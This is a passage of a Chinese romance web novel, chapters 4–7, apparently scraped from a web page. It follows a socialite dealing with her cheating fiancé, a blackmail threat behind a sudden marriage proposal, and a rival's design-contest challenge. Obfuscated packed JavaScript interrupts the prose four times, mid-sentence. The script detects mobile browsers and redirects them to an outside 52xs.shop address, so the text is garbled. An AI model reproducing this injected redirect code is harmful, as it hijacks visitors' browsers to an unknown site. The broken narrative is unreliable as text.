对于叶大小姐的态度,祝泽倒是没有多少意外,他长出一口气:“这三天我每天都来,你家佣人一直没让我进门。网上的那些留言你别在意,我家已经在处理了。” 佣人哪有这个胆量,这恐怕是叶淮生的意思,原来她爸爸已经在背后处理了。 叶声笙更有底气了,面无表情地睨他:“理性上不在意,但是那些怜悯的评论会在脑海里鬼畜版反复播放,你有本事就帮我找个催眠大师清除记忆。而且在意别人的意见是人类的本能,我又不是神仙,还做不到完全理性。” 祝泽呼吸微微窒住,半晌后憋出一句:“对不起。” 见他还是这副没担当的样子,叶声笙胸口憋了一股郁结难消的气。 “当初联姻的时候,我只对你提出了一点要求,我们可以没有感情,但不能做出让对方丢脸的事情,你还记得吧?整个京市,我又不是只有你一个人可以联姻,真的没必要勉强。” 祝泽低着头,像是终于做出了决定:“婚约的事情随便你处置,但是,我希望你能放过莹莹。” 叶声笙却没想到都4202年了,还能遇见纯爱战士,整个人都要气笑了:“你都自身难保了,就别在这里跟我讨价还价了。” 婚姻是两家长辈定下来的,双方的公司互投了那么多的项目,不是三言两语就能划清界限的。所以,叶声笙不能轻易悔婚,祝泽作为出轨方更加没有立场。 “声笙,莹莹跟你不一样,她没有你出身好,也没有父母庇护。你也知道,她在珠宝设计方面很有才华,但这个专业是有钱人的游戏,你们都是同一个学校毕业的,她也不想跟你争,她就只有我了……” 蝉鸣突然变得聒噪,叶声笙的心火也不自觉地翻涌。 她打断他:“所以呢,我什么都有,就是没有才华?” 别的暂且不提,才华是她捍守的底线。祝泽长得不帅、身高不高,怎么现在连脑子都彻底坏掉了。 光线刺目,祝泽换了个站姿,很识相地没在上个话题上纠缠,干巴巴地来一句:“就是以后万一你们见面了,希望你别难为她,全都是我的错,跟她没关系。” 这是预设了再次见面的场景,高雪莹是手无缚鸡之力的小白兔,她就是刁钻刻薄的恶毒女配。 “那她断章取义做PDF泼我脏水,也是你的授意?” 祝泽不敢看她,只盯着某个虚无的点:“你们俩的聊天记录我都看过了,那些确实是你说过的话,也不算冤枉。” “啪!” 这种荒谬的言论彻底激怒她了,叶声笙一巴掌扇过去,“祝泽,我告诉你,你们两个,我一个都不会放过。” 撂完狠话,她绕过他,进了自家别墅。 叶家的别墅一共两千多平,光佣人就有七八个,叶声笙把包递过去,在玄关换好鞋,一团黑影从三楼冲下来,呼哧呼哧地在她脚边转。 Model是一只西施犬,叶声笙在英国的时候就养着了,毕业后也和行李一起打包带了回来。 对了,她一起养着的还有高雪莹,可惜人比狗贱。 叶声笙顺着扑过来的力道栽到沙发上,顺手摘掉它头上的蝴蝶结,丢给专门负责照顾Model的娟姐,不太走心地提醒:“换了吧,这个跟她造型不搭。” 她皮肤很白,又是宿醉,眼底的疲态格外明显。 娟姐把Model重新抱回怀里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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当然,还有不可说的边澈,他的罪孽最为深重。 她开始添油加醋地告状。 …… 这通越洋电话,一共持续了半个小时,阮晴岚语气轻松,不知道是为了安抚她,还是真的没把网上那些新闻当回事儿。 阮晴岚像一根定魂针,定住了她千汹万涌的情绪。 阮晴岚说她这几天把欧洲奢侈店内那些限量款的包包洗劫一空,两人在电话里达成了友好的分赃协议。 二十分钟后,浴缸里的水彻底凉透,地砖上被踏出一串湿脚印。偌大的盥洗池旁,叶声笙在进行日常保养,这是再累也不能忽略的工序。 身上的吻痕一点没消,反而由红转紫的趋势,她换了一套保守的真丝睡衣,遮住满身的痕迹。 折腾完水乳精华,她开始折腾头发,海藻般的长发蓬松柔软,她三心二意地从抽屉里翻护发精油。 翻到最下层的时候,目光触及抽屉里的卫生棉,她突然有了一两秒的走神。 吹风机停留太久,空气中都有了焦味儿,叶声笙才终于醒了过来。 电源也来不及拔,她解锁手机,打开记录生理期的软件。 昨天的日期下面有一个紫色的小星星。 吹风机的噪声还在响着,磨着她的神经,叶声笙半边身子都麻了。 排卵期! 5. 第 5 章 叶声笙是被活活饿醒的。 因为心里揣着事儿,这一觉睡得浮浮沉沉,最后在胃部的强烈抗议中睁眼。 八月的夜幕来得迟,橘色的夕阳溜进来,墙上奈良美智的手稿画也带了光。 隐约听见有挠门的声音,她喊了一声“Model”。 西施犬嗖的一声窜进房间,从奶白的地毯上一跃上床,俩前爪搭在她身上喘气,尾巴摇得巨兴奋。娟姐紧随其后小跑进来,拽它后腿往床下扯,Model灵活地避开,躲在叶声笙身后。 娟姐有些急了:“快下来,把姐姐的衣服都抓坏了。” 叶声笙的睡衣都是真丝的,价值不菲,她平时并不在意。不过联想到睡衣划破可能会暴露的红痕,她把粉色铃铛橡胶球丢到门口,Model冲过去叼住,咬在嘴里跑回来,呼哧呼哧地等着奖赏。 她拍拍它的脑袋,掀开被子下楼。 别墅灯陆陆续续亮起,户外泳池泛起蓝色的粼光,看一眼壁炉旁的落地钟,时针指向七点。 叶声笙因为胃口不佳,把熬好的鱼胶给佣人们分了,让厨师做了碗蔬菜面给她。 汤很鲜,喝一口,胃里热乎乎的,她蜷着腿坐在椅子上,一心二用地刷手机。 网上关于祝泽出轨高雪莹的帖子已经彻底降温,取而代之的是某流量小生酒后驾驶发生车祸的新闻。 叶声笙却没什么八卦的心思,她正在网上搜避孕的知识,一页页往下翻,越看心里的波动越大。 果然有病不能上百度。 不知道是不是心理作用,她的小腹一直酸酸涨涨的。叶声笙娇生惯养的这么多年,第一次吃了这么大的闷亏,偏偏无人诉说。昨晚边澈到底做没做保护措施,这段记忆像是从脑子里抽掉了似的,一点印象都没有。 预演到自己去买紧急避孕药会面临的尴尬和无措,又把边澈从头到尾诅咒了一遍,面都不香了。 大概是闻到了食物的味道,Model又来了,圆溜溜的大眼睛看着她,一副等着投喂的样子。 “你也想吃了吗?” 叶声笙嚼两下面条,怔怔地看着它,Model四脚朝天地躺着,姿势很不雅观。 睫毛短促地眨了眨,某种荒谬的念头钻进脑袋,一团乱麻的思路突然有了出口。 她盯了一会它圆滚滚的肚皮,抬额看娟姐:“Model是不是最近变胖了?” “没有,今天刚称了体重。”娟姐怕打扰她吃饭,拿出一根羊奶棒,没费什么力气就把Model吸引了过去。 “它最近上课怎么样,交到新朋友了吗?” “我们Model长得漂亮,是学校里的校花,那个叫Black的马尔济斯每天跟在它的屁股后面……” 终于绕到这个话题上,叶声笙蹙眉:“我最近刷到很多狗狗被搞大肚子的视频,就有点担心,Model虽然上了狗德学院,但正是叛逆的年纪,很容易被其他的公狗骗了色。” “啊?”娟姐从来没听过这种说法,不过还是打起十二分的谨慎,“放心吧,大小姐,Model每天上学都是两个人陪着,绝对不让它离开我们的视线。” 叶声笙放下筷子,像是认真思考了一会,提议道:“要不家里备点紧急避孕药吧,我可不想让Model当单亲妈妈。” 她说这话的时候,语气特别自然,就像是随手点了杯咖啡一样。 “不行!”娟姐的反应变成很大,“那些狗的主人必须得征求我们的同意,才能跟Model谈恋爱。” 叶声笙腹诽,只不过是露水姻缘而已,也许Model并不想谈恋爱,更不想在肚子里揣个仔仔。 不过,娟姐的被迫害妄想已经拦不住了,她挺直身板,气势如虹:“以后Model上课的前后一个小时,都不让学校安排其他狗。晚上出去遛弯的时候,也要拴上绳子,看到别的狗我们就躲开,坚决不给它们机会。” “好吧。” 歹念落空。 一无所知的Model还在啃羊奶棒,完全不知道自己的处境,不但失去一群小公狗,还失去了撒欢的自由。 只能自己去买,叶声笙心事重重地回了房间。 卧室门紧闭半小时,这期间,佣人送水果上来,她都置之不理。 电话响起的时候,叶声笙正在梳妆台前画最后一笔眼线,精致的名媛就是这样,连拿个外卖也不能有一丝瑕疵。 这会儿是晚上八点,凝固的空气终于被扯出一丝清凉。 她穿了一条丝质的长袖连衣裙,平底鞋轻巧地踏上青石板路,发出哒哒哒的脆响,脚腕白皙纤细。 保安看见她,连忙按下开门键。 铁质门缓缓开启,一辆全黑的兰博基尼倏地闯进视线。 边澈正倚着车门听电话。 他眉头紧锁,全程不说话,只表情阴郁地听着。 橘色的路灯落在他的肩身上,拉出一道悠长的影子,他指间夹着烟,上面簇着火星,另一只手里突兀地拎着个蓝色纸袋。 叶声笙视线一扫,周遭空荡荡的,连外卖小哥的鬼影儿都没看到。那时候就确定以及肯定了——边澈手里拎的是她刚买的紧急避孕药。 扫到这一细节的时候,她嗓口忽然就干了,脚步也不自觉放慢。 外卖小哥毫无职业道德,她加价的跑腿费算是白花了,这个平台即将收到她的一星差评和超过五百字的匿名评价。 边澈也发现了她,原地熄了烟,再提膝走过来,距离三步远的位置,他结束了通话。 “你病了?”他率先开口,像是压着某些烦躁的情绪。 “要你管。”叶声笙双手环臂,嘴角抻平,看起来比他更不高兴。 边澈撇撇嘴,突然把纸袋端到眼前,寂静的空气里发出哗啦啦的声音,她吓了一跳。 “你乱看什么?” 纸袋密封得很好,包装上也看不到任何商品信息,叶声笙下巴扬起来,摆出身高不足但气势很足的站姿:“病是一个人的隐私,你这个人怎么一点边界感都没有。” 这个混蛋好像比高中的时候高了不少,她恨自己只穿了平底鞋,只到他胸口的位置。 风卷起他的衣领,也把他身上的味道一并送了过来,淡淡的烟草味儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606531|156067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “把药还给我。”她伸手。 视线从小巧的掌心移到脸蛋,边澈掀起眼皮看她:“上车,我有事儿跟你说。” 胸口闷着口不上不下的气,叶声笙拒绝:“我跟你不是能上一趟车的关系。” “那是睡一张床的关系吗?” 耳朵嗡一声响,空气都静止了,她后颈都僵了,一时间分不清边澈这句话到底是疑问句还是陈述句。 夜色浓重,他的表情并不分明,眼神不错看地盯着她,想是要找出破绽。 叶声笙不由自主地错开视线,然后屏息了三四秒,才勉强控制住紊乱的心跳。 她说:“我都不知道你在说什么?” “行,那我先看看你买的什么药。” 边澈这招儿够阴的,叶声笙心里有鬼,下意识伸手去抢,被他躲开了。 她用眼尾瞪他:“你有病就自己买药,干吗抢我的?” 边澈也不说话,骨节分明的手指威胁般地摩挲纸袋的封口处,用下巴指了指兰博基尼。 叶声笙气呼呼地上了车。 车门上锁,车子启动,边澈打方向盘,车子拐上大路。 她僵着脸问:“你要带我去哪?” 边澈侧头:“你想让所有人看见我们俩在门口勾勾搭搭?” 是他了,那张嘴还在长期服用鹤顶红。 开了不到十分钟,车子在一处宽阔的路边停下,叶声笙的暴躁终于压抑不住了:“你到底找我干什么?” 话音刚落,一沓照片落她腿上,当她看见照片内容时,眼里的怒气瞬间就收了一下。 照片跟她手机里存的那些把柄很像,不同的是—— 这些是自拍者的角度。 一个男人在床上睡着,明显赤裸的上半身带着抓痕,另一个男人躺在他身侧,表情暧昧地看着镜头。 叶声笙表面镇定,脑子里都快乱成一团了,罗子明在她走了之后到底干了什么? 纤细的手指一张一张地翻到最后,她特别淡定地说:“原来你的性取向是男人呀,放心吧,现在社会的包容度很高的,别有什么心理负担,我也会替你保守秘密的。” 边澈点点头,看起来比她还淡定:“谢谢你的安慰,不过我现在被人勒索七千万。” “什么意思?”车内响起她的吸气声。 “这人用照片勒索我七千万,我必须弄清楚到底发生了什么?” “那你去找他呀?”这句话叶声笙几乎是喊出来的,她这段时间已经备受煎熬了,为什么所有的事情都还朝着失控的方向发展。 暗淡的夜色里,她的脸色有些苍白,眼睛是淡茶色的,覆盖了一层泪膜,像是已经忍到了极致。 边澈一言不发地看她,没有丝毫妥协的意思。 叶声笙知道他的能力,肯定查清了来龙去脉,现在来找她这个始作俑者算账了。 她眼尾红红地看他,抽一记鼻子:“大不了七千万我给你出。” “结婚吧。” 边澈没头没尾地丢来一句,把叶声笙都弄蒙了,她怔怔地开口:“你说什么?” 6. 第 6 章 黑色跑车潜伏在浓重的夜色里。 叶声笙像是听到了什么天方夜谭,身体不自觉地发抖,手肘不知道压到了哪里,车窗“刷”的一声降下来。 晚风伴着月光,一起吹进来,边澈剑眉很挑,脸色很差,眸子深不可测地审视她,声音比任何时刻都低沉寡淡—— “现在不是七千万的问题,上市公司CEO的婚姻情况是需要进行公式的,这种照片已经不是简单的花边新闻了,是丑闻,一旦曝光出去,对股市造成的影响不堪设想,甚至有股民可能会跳楼。” 叶声笙是真没想到事情会严重到这种,经历了短暂的慌乱之后,她呼吸加重:“要不报警吧?” “你以为我没报警?罗子明现在人在国外。” 换言之,也就是能想的办法已经都想过了。 边澈手肘抚过后颈,像是被人抓住了把柄似的,有种认命般的妥协。 “现在只能先下手为强,公布婚讯。我们两个从昨晚到酒店,被不少天眼拍到,按照时间线,他的照片只可能是P的。” 逻辑上说得通,但叶声笙就是觉得哪哪儿都不对劲儿。 她眼里滑过怀疑,多年前的一件往事涌上心头。 高三暑假那年,边澈去伊朗参加IPHO,全球最卷的国际物理奥林匹克竞赛,据说这是一个许多大学物理教授都会望而却步的竞赛。 像他们这种富豪家庭养出来的小孩,从小到大上的都是最好的国际学校,教育资源顶流不说,还有直通国际名校的专属通道,所以年纪轻轻就混圈的很多,认真学习的很少。 他倒是个例外。 五个小时的理论,五个小时的实验,考试结束整个人都被扒掉一层皮。 那是一年中最热的三伏天,边澈不知道因为什么,在颁奖礼上跟组委会争执,两方僵持不下的时候,他当场摔了金牌。 那一天,边家申请了航线,边澈是一个人坐着私人飞机回国的。 事情在圈里传得沸沸扬扬地。 谁都知道边澈为了这个比赛准备了一年多,各种口口相传的八卦在暗地里流走。有人说是竞赛有黑幕,也有人说是和其他国家选手发生了矛盾,最接近真相的一个说法当属——团队里的女生被人性骚扰,而组委会试图用金牌捂嘴。 付芷橙对八卦的渴求已经超过了礼教,四处打听拼凑了一出大戏,最后手舞足蹈地给叶声笙还原的时候,就跟亲眼所见一样。 起承转合一个不落,演到高潮处还随手摔了她新买的粉饼。 叶声笙早就和他交恶,吃瓜也吃得三心二意,撂一眼碎成两半的粉饼,抱臂问付芷橙:“然后呢?” 付芷橙往沙发上一靠,双手摊开:“事情闹得很大,组委会那边被彻查了……” 故事到这里就戛然而止。 再次见到边澈的时候,他整个人的气场都变了——微分的碎发剃成了板寸,人也变得锋利。 没人敢问多余的,只有叶声笙觉得他就是刚出狱,故弄玄虚而已。 晚风寂寥的夜晚,终于完整地回想起往事,也正是因为这些记忆,她觉得边澈怎么看不都像是能闭门挨打的人。 浓密的秀发随意地散在胸前,发尾被风带起,一两秒的走神后,她心头微恙:“那你可以找橙子结婚,反正昨晚大家都在一起。” 边澈见她心安理得地出卖朋友,眼底情绪不甚明晰:“我真没想到你是这种人,昨晚千方百计灌醉我,白嫖之后还栽赃陷害,现在我被人勒索你还试图甩锅……” 他以为自己是成语大王吗?竟然能在郎朗明月下说出这么不要脸的话。 叶声笙耳根烧得滚烫,咬着牙反驳:“我有婚约,你想结婚去找别人。” “你跟祝泽都闹成那样了,还能结婚?” 边澈像是知道她在想什么,指尖在方向盘一下一下地敲击,嘴角勾起轻嘲:“结婚之后你可以照样把我当仇人。” 不就是睡了一觉,怎么就矜贵得还得对他负责,叶声笙觉得太荒唐了,只能采取拖延政策:“我在外面交了十几个男朋友,一时半会儿分不掉。” “没事儿,我帮你分。”边澈好整以暇地垂眸,像是看透了她的全部小九九。 “用不着。”叶声笙硬声硬气地回她,虽然她现在脑子乱糟糟的,但是不影响瞪他。 边澈凑近看她,桃花眼微挑:“联姻而已,又不是谈恋爱,这不是一笔双赢的买卖吗?” “除非”,他拉长尾音:“你心虚?” “你肾虚!” “我肾虚不虚,你不知道吗?” 叶声笙的火气又上来了,双颊染上玫瑰红,“我一个男人不玩两遍。” 场面进入突如其来的沉默,两人在咫尺之间对视。 边澈看着她炸毛,以一种受害者的语气叹气:“既然你不想负责,我就只能找叶伯父了,明天我跟他商量一下,这个七千万,是不是真的叶氏来出?另外,万一股票大跌,发生了什么人间惨剧,希望你不会良心不安。” “你这个卑鄙小人。”叶声笙推着他的肩膀骂他,双瞳漫上一层水雾。 边澈好像对这个形容特别满意,没再说什么,雷厉风行地启动车子,掉头重回大路。 经过减速带的时候,车速变得很慢,忽明忽暗的路灯披在他身上,俊俏的眉眼藏着痞气。 他的状态比之前好多了,侧头看她,黑色瞳仁中透着幽邃:“我给你三天时间考虑。” 叶声笙没吭声,始终看窗外,一点谈话欲都没有。 不过,他这人还算言而有信。 到了京韵别墅后,就把药袋还给她了,叶声笙连再见都懒得说,直接动静很大的下车。 每一个动作里都带着还未发泄过瘾的气,他看得分明。 边澈在车内看她,眼睛像带了透视,别具深意地扫向她手里的纸袋—— “昨晚三次,我都戴了。” 他看着她脚步顿了一下逃得更快,看着别墅大门缓缓打开,看着她的身影消失在门内。 …… 又是一个难眠夜。 边澈的话反复折磨她的神经,第二天起床,脑子还是浑浑噩噩的。 对着镜子化妆的时候,手臂有气无力的,羽睫下的乌青明显,她遮了三层才勉强遮住。换了正红色的丝绒口红,又从衣帽间里挑了件一字肩黑色礼服裙。 慵懒随意,气色气场都提起来了。 等叶声笙收拾好下楼的时候,四五个佣人正在整理四个超大的行李箱,各种颜色的纸袋和礼盒把客厅堆得满满当当,她别头看餐厅的方向。 早餐在餐桌上摆着,没有人。 她缓步走过去,双手撑在椅背上:“我爸妈回来了?” “先生和太太凌晨四点回来了,这会儿正在房间里补眠。” 那时候,飘忽在外的三魂七魄才总算归位。叶淮生和阮晴岚回来了,她所有的底气也都回来了。 厨师把海参蛋羹端上来,笑盈盈地看她:“大小姐想吃点什么?” 叶声笙的这件小礼服剪裁纤浓合度,对身材要求极高,水都不能喝。 她努努嘴,从骨瓷盘里拿起一小片面包,慢悠悠地咬了口:“我不吃了,记得炖个虫草鸡汤给我爸妈喝。” 交代完这句,她踩上高跟鞋出门。 劳斯莱斯一路驱车前往城郊的星月酒店。 东方艺术馆的珠宝展的邀约是上个月的,叶声笙不打算缺席,因为越是有那么多眼睛在风口浪尖等着看她的笑话,她就越要表现得岁月静好。 馆内灯火通明,一场名为“一眼万年”的主题珠宝展正在进行。厅内流淌的爵士乐和着高级的香水味,让鉴赏珠宝的艺术氛围感更加有意境。 这种提升社交媒体质感的活动,来拍照打卡的千金小姐们自是不少,叶声笙进场后,她们蠢蠢欲动地交换了一下八卦的眼神,一个个温温柔柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606532|156067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上前打了招呼。 “声笙,你这条项链真漂亮,是卡地亚的定制款吗?” 叶声笙被簇拥在中间,唇角敲起一个极浅的弧度:“不知道,从我妈妈首饰盒里拿的。” 小姐妹们又热情地奉承了好几句,她的反应始终淡淡的。不软不硬地碰了个钉子,千金门笑容凝滞在脸上。 叶声笙懒得跟她们应酬了,说了声失陪,就去看展品了,当她们透明人一样。 呵呵。 背后造谣、搞小团体孤立,她还真以为这些塑料姐妹们骨头变硬了呢。 展示柜最中心的位置,一枚蝴蝶星云样式的胸针静静地躺在里面,薄如蝉翼的翅膀上镶嵌了数百颗彩色宝石,在射灯的折射下梦幻而耀眼。 这是一种让人惊艳到震撼的美。 孙明楠是鉴赏者。 不过他鉴赏的对象不是那枚蝴蝶星云胸针,而是展示柜前静静凝视的女人。 她穿了黑白极简礼服,雪白的颈间系着缎带粉钻项链,裙摆及地,高跟鞋很细很高。 像是被某种引力牵引,孙明楠不由自主地过去,视线与她落到一处:“这枚胸针你戴上一定很好看。” 叶声笙看了他一眼,但一眼之后,视线又重新落回那枚胸针上。 有股拒人于千里之外的倨傲。 “喜欢吗?我买下来送你。”孙明楠被美人迷得不行,继续费尽心思搭讪,豪掷千金也不在乎。 叶声笙还是没往他那撂第二眼,唇角似笑非笑:“所有的展品都是非卖品。” 难得美人有了回应,孙明楠聊天的态度更积极了:“那是因为没有遇到合适的价格……” 上个月,蝴蝶星云胸针在苏富比拍卖会上被人以三亿港币拍下,在行业内掀起不小的热度。这个男人怕是没有看过新闻,所以不知道背后的买家是何人。 正要应声的时候,两人的谈话被一串流动的高跟鞋声终止,叶声笙目光折过孙明楠,看向他身后的女人。 “Hailey。” 女人一头干练的短发,步伐很快,几步就到了叶声笙跟前,握着她的臂寒暄:“怎么来了也不找我?” Hailey是这次珠宝展的策展人,两人是通过叶声笙的大学导师介绍认识的,交情自不必说。 叶声笙捋一记长发,不以为意地笑笑:“看你在招呼其他客人,我就先进来了。” Hailey把她的手始终攥在手里:“真的是特别感谢,要不是你大发慈悲把蝴蝶星云借我救急,我临时上哪儿去找这种价值几个小目标的珠宝。” 身边响起孙明楠的抽气声,但是没人在意他是什么时候离场的。 “这里的好东西这么多,我今天多了好多灵感。”叶声笙大学是在UAL念的,学的就是当代珠宝,展上的作品出自各个时期的珠宝艺术家之手,很有学习的价值。 淡黄色的光圈洒下来,Hailey的食指在展柜上轻轻敲动:“内格榫卯镶嵌法,没有用任何粘合剂与金属镶座,我们老祖宗留下来的技法,真的是太完美了。” 叶声笙唇角不自觉上翘:“导师说她一定要来中国亲眼看看这枚胸针,要是学校不给她批假期,她会组织其他老师一起罢工。” 像是突然想起了什么,Hailey唇角勾起:“你导师还下了最后通牒,要你务必参加IAI的比赛。” 叶声笙扶额苦笑:“怎么毕业了还这么卷?”她只是单纯喜欢设计,对任何比赛都不感兴趣,所以对导师的提议一拖再拖。 两个人又聊了几分钟,Hailey要去招呼其他人,叶声笙也看得差不多了,低头在给司机打电话。 电话里刚刚传来“嘟”声,就被一道女声打断。 “声笙。” 隔着不远不近的距离,高雪莹站在她身前。纤弱的身姿一吹就到,整个人像是被击垮过一样,憔悴不堪。 该见的人,早晚都是要见的。 7. 第 7 章 高雪莹跟她相处向来伏低做小,这回倒是挺直了背脊,看她的眼神甚至略带轻蔑。 不管是在英国伴读、还是回国进入她的朋友圈,甚至在祝泽面前,她总是一副唯命是从的样子,所以叶声笙从来不曾防备过她。 叶声笙傲娇恣意,活得洒脱,从来不用传统意义上的淑女准则来要求自己。作为叶淮生和阮晴岚唯一的掌上明珠,她的生活圈都是经过严格筛选的,那些活跃在社交媒体上的假名媛很少能跟她产生交集。 这算是她第一次在闺蜜身上栽了跟头,甚至后续引发了无限的连锁反应,或许再用闺蜜这词已经不妥,但能在她身边装了四年多,高雪莹还是有点本事的。 客观地讲,爬上祝泽的床未必强于依附于她,毕竟再天雷地火的爱情也有保鲜期,而且她那种小破家庭,想跟祝泽修成正果更是难上加难,所以这一波操作实在难评。 都不知道该说她目光短浅还是祝她好运。 艺术馆内很安静,明亮的射灯打在展柜里,玻璃上映出两人的影子。 叶声笙用余光看到,刚刚那几个千金小姐们也嗅到了她们这边的动静,正在角落里蠢蠢欲动地交换眼色。 那些人等着看八卦等得快要兴奋死了,她就偏偏不想如她们的意,腔调冷淡地从高雪莹身侧绕过,一句话都懒得和她说。 擦肩而过的时候,高雪莹却突然抓住她的裸臂:“我们谈谈?” 她用了不小的力气,手指微微发抖,身体语言泄露了情绪,看起来并没有想象中淡定。 叶声笙停在原地,侧头看她,嘴角带着轻嘲:“不好意思,我的时间宝贵,不对道德低下的人开放。” “我承认,这件事是我做得不对”,高雪莹盯着她,眼尾慢慢红了,“难道你就一点问题没有吗?” 装柔弱、装无辜,向来是她的强项,要不是这次被她背刺,叶声笙看她落泪的样子都要怜爱了。 一根根地扒开她握上来的手指,叶声笙动作虽然慢,却带着划清界限的决绝。她居高临下地睨她:“我当然有问题。我的问题就是太善良了,不该资助你读书,不该因为你家里破产了给你介绍工作,更不应该把你带进我的生活圈……” 这话说得挺不客气的,高雪莹像被扒掉一层皮,胸口上下起伏:“你永远都是这副高高在上的样子。” 去英国留学的第一年,她家里就破产了,除了已经交过的学费,高雪莹连生活费都没有。 而叶声笙是她的同班同学,也是学校的风云人物。 她漂亮、有钱,天资聪颖却喜欢摆烂,每天被豪车送到学校的时候,身上的珠宝首饰都不重样。 珠宝设计本来就是一个烧钱的专业,经常需要用到各色宝石作为设计材料,叶声笙的爸爸为了让宝贝女儿完成设计,竟然买下了新疆阿勒泰地区的一块海蓝宝矿。 而学校的霸凌是无形的。 当她用廉价材料设计的作品再一次被全班嘲笑的时候,高雪莹终于受不了了,躲到卫生间里崩溃大哭。 盥洗池传来水声,叶声笙隔着门板问她,愿不愿意做她的伴读? 从此,她的生活就彻底发生了改变。 她住在叶声笙高级公寓的客卧,坐着她的豪车上学,甚至可以在舞会上借用她那些昂贵的珠宝。 而这些报酬也是有代价的。 她每天早起帮叶声笙买咖啡,帮睡美容觉的她完成作业,挡掉学校里不怀好意的追求者,附和她喋喋不休的吐槽…… 刚一毕业,叶家就立马安排叶声笙回国,好像在国外这几年,遭了多少罪一样,甚至连未婚夫都替她选好了。 高雪莹觉得,自己所有的努力都没有意义。 她含着一口气,视线幽怨:“我来就是想告诉你,不管你和祝泽结不结婚,我都会和他在一起。” 叶声笙觉得自己听到了天方夜谭,都快要给她鼓掌了:“你们两个快点锁死,别流通到社会祸害其他人。” 说完就当她透明人一样,放开步子继续走。 高雪莹盯着她的背影,手攥到发抖:“你什么都不在乎,想必也没看上IAI大赛吧?” 正是这句话让叶声笙顿下脚步,她别头,似笑非笑:“天还没黑,你就已经开始做梦了。” 网上热锅沸腾的时候,高雪莹在众目睽睽之下出来找她,当然有自己的目的。 她话里藏着挑衅:“导师一直夸你是天分好,却不知道,你的好多作业都是我完成的。所以,你敢不敢跟我一起参加这个比赛?” 两人的对峙总算进入正题。 叶声笙看着她的侧脸,觉得她又可悲又可怜,明明什么都没有,什么也都抓不住,偏要装出一副可以逆天改命的气势。 但有一点,被高雪莹猜对了。 当众服软就不是她的性格。 身体里的胜负欲被催发得浓郁热烈,叶声笙终于正眼看她。 她站在艺术馆的中心,眉梢微微一挑,笑得眉目艳丽:“好呀。” 周遭传出细小的抽气声,一场关于叶声笙和高雪莹的赌约即时生效。 临近中午,烈日当头。 空调口均匀地冒着凉气,劳斯莱斯的隔音性很好,把躁人的蝉鸣声关在车窗外。 叶声笙深呼吸了好几次,才压下心口的躁郁。 太无聊了,怎么会答应跟高雪莹一起参加IAI大赛? 阮晴岚来了电话,问她怎么这个时候跑出去了,叶声笙解释说自己最近受到的刺激太大,每天不添点堵就不想回家,阮晴岚在话筒那头不厚道地笑了。 所以,生闷气的只有她。 手机在掌心响起提示音,一条短信弹出屏幕。 「第一天」 信息来自一个陌生号码,叶声笙不用猜,都知道手机那头的狗男人是谁。 屏幕还没暗下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606533|156067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她指尖轻盈地回复∶「听不懂,退朝」 再反手就把这个号码拉黑。 拜这群贱人所赐,她的黑名单越来越拥挤了。 叶声笙在暗处翻了个白眼,往椅背上一靠,干脆闭目养神。 …… 虽然是周日,京市CBD中心还是人潮如织。 总裁办公室,彭宇从老板手里拿回手机时,发信箱已经被删得干干净净。 他作为高级牛马,早就把加班当成了常态。他昨晚没回家,和公关部的同事一起熬到现在,黑圆圈快要耷拉到脚面,下巴上全是青茬。 相比之下,边澈就清爽多了。 炙热的阳光穿过落地窗,绿植在空调口轻微晃动。 他剑眉很挑,眉眼锋利,软筋软骨地坐在椅子上,满身贵公子的顽劣气质。 “公关部的方案做得怎么样了?” 他从桌上掳过打火机,橘色的火苗一闪,飘起一阵青烟。 空气静默了一秒,彭宇立马拿出IPAD,躬身上前,把做好的PPT置于边澈眼前:“他们现在出了两版方案……” SKY是京市近两年崛起的一个飞行基地,业务涵盖直升机观光、直升机飞行执照、空中PARTY都多项业务。 昨天有个小二代,直升机表白的时候,被女孩子拒绝了,一时想不开要轻生,幸好被工作人员拦住了。 可事情坏就坏在,整个表白过程被人直播了,全部网友都见证了他意欲轻生的过程。 众多留言里,隐隐有对家在评论区浑水摸鱼,公关部就是被紧急召集处理这个事情的。 彭宇知道是处理这个事件的时候,还隐隐松了口气,他擦了擦额头上的冷汗,幸好不是老板出柜被拍。 总裁办响起邮件提示音,边澈不知道什么时候已经看完了全部的PPT,他把香烟熄在烟缸里:“就按公关部的方案去做,最近什么整改座谈会都不要参加,谨防那些莫名其妙的部门远洋捕捞。” 彭宇连声应了。 